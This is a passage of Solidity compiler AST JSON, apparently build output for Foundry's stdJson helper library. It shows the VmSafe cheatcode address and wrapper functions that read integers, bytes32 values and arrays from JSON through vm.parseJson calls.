(bytes32)"}},"id":6672,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"692:28:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":6669,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"684:7:6","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":6668,"name":"uint256","nodeType":"ElementaryTypeName","src":"684:7:6","typeDescriptions":{}}},"id":6673,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"684:37:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":6667,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"676:7:6","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":6666,"name":"uint160","nodeType":"ElementaryTypeName","src":"676:7:6","typeDescriptions":{}}},"id":6674,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"676:46:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":6665,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"668:7:6","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":6664,"name":"address","nodeType":"ElementaryTypeName","src":"668:7:6","typeDescriptions":{}}},"id":6675,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"668:55:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":6663,"name":"VmSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15098,"src":"661:6:6","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_VmSafe_$15098_$","typeString":"type(contract VmSafe)"}},"id":6676,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"661:63:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"visibility":"private"},{"id":6693,"nodeType":"FunctionDefinition","src":"731:141:6","nodes":[],"body":{"id":6692,"nodeType":"Block","src":"825:47:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":6688,"name":"json","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6679,"src":"855:4:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6689,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6681,"src":"861:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":6686,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"842:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":6687,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"845:9:6","memberName":"parseJson","nodeType":"MemberAccess","referencedDeclaration":13083,"src":"842:12:6","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (bytes memory)"}},"id":6690,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"842:23:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":6685,"id":6691,"nodeType":"Return","src":"835:30:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"parseRaw","nameLocation":"740:8:6","parameters":{"id":6682,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6679,"mutability":"mutable","name":"json","nameLocation":"763:4:6","nodeType":"VariableDeclaration","scope":6693,"src":"749:18:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6678,"name":"string","nodeType":"ElementaryTypeName","src":"749:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6681,"mutability":"mutable","name":"key","nameLocation":"783:3:6","nodeType":"VariableDeclaration","scope":6693,"src":"769:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6680,"name":"string","nodeType":"ElementaryTypeName","src":"769:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"748:39:6"},"returnParameters":{"id":6685,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6684,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":6693,"src":"811:12:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6683,"name":"bytes","nodeType":"ElementaryTypeName","src":"811:5:6","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"810:14:6"},"scope":7247,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":6709,"nodeType":"FunctionDefinition","src":"878:140:6","nodes":[],"body":{"id":6708,"nodeType":"Block","src":"967:51:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":6704,"name":"json","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6695,"src":"1001:4:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6705,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6697,"src":"1007:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":6702,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"984:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":6703,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"987:13:6","memberName":"parseJsonUint","nodeType":"MemberAccess","referencedDeclaration":13054,"src":"984:16:6","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_uint256_$","typeString":"function (string memory,string memory) pure external returns (uint256)"}},"id":6706,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"984:27:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":6701,"id":6707,"nodeType":"Return","src":"977:34:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readUint","nameLocation":"887:8:6","parameters":{"id":6698,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6695,"mutability":"mutable","name":"json","nameLocation":"910:4:6","nodeType":"VariableDeclaration","scope":6709,"src":"896:18:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6694,"name":"string","nodeType":"ElementaryTypeName","src":"896:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6697,"mutability":"mutable","name":"key","nameLocation":"930:3:6","nodeType":"VariableDeclaration","scope":6709,"src":"916:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6696,"name":"string","nodeType":"ElementaryTypeName","src":"916:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"895:39:6"},"returnParameters":{"id":6701,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6700,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":6709,"src":"958:7:6","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":6699,"name":"uint256","nodeType":"ElementaryTypeName","src":"958:7:6","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"957:9:6"},"scope":7247,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":6726,"nodeType":"FunctionDefinition","src":"1024:159:6","nodes":[],"body":{"id":6725,"nodeType":"Block","src":"1127:56:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":6721,"name":"json","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6711,"src":"1166:4:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6722,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6713,"src":"1172:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":6719,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"1144:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":6720,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1147:18:6","memberName":"parseJsonUintArray","nodeType":"MemberAccess","referencedDeclaration":13065,"src":"1144:21:6","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_array$_t_uint256_$dyn_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (uint256[] memory)"}},"id":6723,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1144:32:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[] memory"}},"functionReturnParameters":6718,"id":6724,"nodeType":"Return","src":"1137:39:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readUintArray","nameLocation":"1033:13:6","parameters":{"id":6714,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6711,"mutability":"mutable","name":"json","nameLocation":"1061:4:6","nodeType":"VariableDeclaration","scope":6726,"src":"1047:18:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6710,"name":"string","nodeType":"ElementaryTypeName","src":"1047:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6713,"mutability":"mutable","name":"key","nameLocation":"1081:3:6","nodeType":"VariableDeclaration","scope":6726,"src":"1067:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6712,"name":"string","nodeType":"ElementaryTypeName","src":"1067:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1046:39:6"},"returnParameters":{"id":6718,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6717,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":6726,"src":"1109:16:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[]"},"typeName":{"baseType":{"id":6715,"name":"uint256","nodeType":"ElementaryTypeName","src":"1109:7:6","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":6716,"nodeType":"ArrayTypeName","src":"1109:9:6","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}},"visibility":"internal"}],"src":"1108:18:6"},"scope":7247,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":6742,"nodeType":"FunctionDefinition","src":"1189:137:6","nodes":[],"body":{"id":6741,"nodeType":"Block","src":"1276:50:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":6737,"name":"json","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6728,"src":"1309:4:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6738,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6730,"src":"1315:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":6735,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"1293:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":6736,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1296:12:6","memberName":"parseJsonInt","nodeType":"MemberAccess","referencedDeclaration":13001,"src":"1293:15:6","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_int256_$","typeString":"function (string memory,string memory) pure external returns (int256)"}},"id":6739,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1293:26:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"functionReturnParameters":6734,"id":6740,"nodeType":"Return","src":"1286:33:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readInt","nameLocation":"1198:7:6","parameters":{"id":6731,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6728,"mutability":"mutable","name":"json","nameLocation":"1220:4:6","nodeType":"VariableDeclaration","scope":6742,"src":"1206:18:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6727,"name":"string","nodeType":"ElementaryTypeName","src":"1206:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6730,"mutability":"mutable","name":"key","nameLocation":"1240:3:6","nodeType":"VariableDeclaration","scope":6742,"src":"1226:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6729,"name":"string","nodeType":"ElementaryTypeName","src":"1226:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1205:39:6"},"returnParameters":{"id":6734,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6733,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":6742,"src":"1268:6:6","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":6732,"name":"int256","nodeType":"ElementaryTypeName","src":"1268:6:6","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"1267:8:6"},"scope":7247,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":6759,"nodeType":"FunctionDefinition","src":"1332:156:6","nodes":[],"body":{"id":6758,"nodeType":"Block","src":"1433:55:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":6754,"name":"json","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6744,"src":"1471:4:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6755,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6746,"src":"1477:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":6752,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"1450:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":6753,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1453:17:6","memberName":"parseJsonIntArray","nodeType":"MemberAccess","referencedDeclaration":13012,"src":"1450:20:6","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_array$_t_int256_$dyn_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (int256[] memory)"}},"id":6756,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1450:31:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_memory_ptr","typeString":"int256[] memory"}},"functionReturnParameters":6751,"id":6757,"nodeType":"Return","src":"1443:38:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readIntArray","nameLocation":"1341:12:6","parameters":{"id":6747,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6744,"mutability":"mutable","name":"json","nameLocation":"1368:4:6","nodeType":"VariableDeclaration","scope":6759,"src":"1354:18:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6743,"name":"string","nodeType":"ElementaryTypeName","src":"1354:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6746,"mutability":"mutable","name":"key","nameLocation":"1388:3:6","nodeType":"VariableDeclaration","scope":6759,"src":"1374:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6745,"name":"string","nodeType":"ElementaryTypeName","src":"1374:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1353:39:6"},"returnParameters":{"id":6751,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6750,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":6759,"src":"1416:15:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_memory_ptr","typeString":"int256[]"},"typeName":{"baseType":{"id":6748,"name":"int256","nodeType":"ElementaryTypeName","src":"1416:6:6","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":6749,"nodeType":"ArrayTypeName","src":"1416:8:6","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_storage_ptr","typeString":"int256[]"}},"visibility":"internal"}],"src":"1415:17:6"},"scope":7247,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":6775,"nodeType":"FunctionDefinition","src":"1494:146:6","nodes":[],"body":{"id":6774,"nodeType":"Block","src":"1586:54:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":6770,"name":"json","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6761,"src":"1623:4:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6771,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6763,"src":"1629:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":6768,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"1603:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":6769,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1606:16:6","memberName":"parseJsonBytes32","nodeType":"MemberAccess","referencedDeclaration":12969,"src":"1603:19:6","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes32_$","typeString":"function (string memory,string memory) pure external returns (bytes32)"}},"id":6772,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1603:30:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"functionReturnParameters":6767,"id":6773,"nodeType":"Return","src":"1596:37:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readBytes32","nameLocation":"1503:11:6","parameters":{"id":6764,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6761,"mutability":"mutable","name":"json","nameLocation":"1529:4:6","nodeType":"VariableDeclaration","scope":6775,"src":"1515:18:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6760,"name":"string","nodeType":"ElementaryTypeName","src":"1515:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6763,"mutability":"mutable","name":"key","nameLocation":"1549:3:6","nodeType":"VariableDeclaration","scope":6775,"src":"1535:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6762,"name":"string","nodeType":"ElementaryTypeName","src":"1535:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1514:39:6"},"returnParameters":{"id":6767,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6766,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":6775,"src":"1577:7:6","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":6765,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1577:7:6","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"1576:9:6"},"scope":7247,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":6792,"nodeType":"FunctionDefinition","src":"1646:165:6","nodes":[],"body":{"id":6791,"nodeType":"Block","src":"1752:59:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":6787,"name":"json","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6777,"src":"1794:4:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6788,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6779,"src":"1800:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":6785,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"1769:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":6786,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1772:21:6","memberName":"parseJsonBytes32Array","nodeType":"MemberAccess","referencedDeclaration":12980,"src":"1769:24:6","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_array$_t_bytes32_$dyn_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (bytes32[] memory)"}},"id":6789,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1769:35:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"functionReturnParameters":6784,"id":6790,"nodeType":"Return","src":"1762:42:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readBytes32Array","nameLocation":"1655:16:6","parameters":{"id":6780,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6777,"mutability":"mutable","name":"json","nameLocation":"1686:4:6","nodeType":"VariableDeclaration","scope":6792,"src":"1672:18:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6776,"name":"string","nodeType":"ElementaryTypeName","src":"1672:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6779,"mutability":"mutable","name":"key","nameLocation":"1706:3:6","nodeType":"VariableDeclaration","scope":6792,"src":"1692:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6778,"name":"string","nodeType":"ElementaryTypeName","src":"1692:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1671:39:6"},"returnParameters":{"id":6784,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6783,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":6792,"src":"1734:16:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":6781,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1734:7:6","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":6782,"nodeType":"ArrayTypeName","src":"1734:9:6","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"src":"1733:18:6"},"scope":7247,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":6808,"nodeType":"FunctionDefinition","src":"1817:150:6","nodes":[],"body":{"id":6807,"nodeType":"Block","src":"1914:53:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":6803,"name":"json","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6794,"src":"1950:4:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6804,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6796,"src":"1956:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":6801,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"1931:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":6802,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1934:15:6","memberName":"parseJsonString","nodeType":"MemberAccess","referencedDeclaration":13033,"src":"1931:18:6","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (string memory)"}},"id":6805,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1931:29:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string 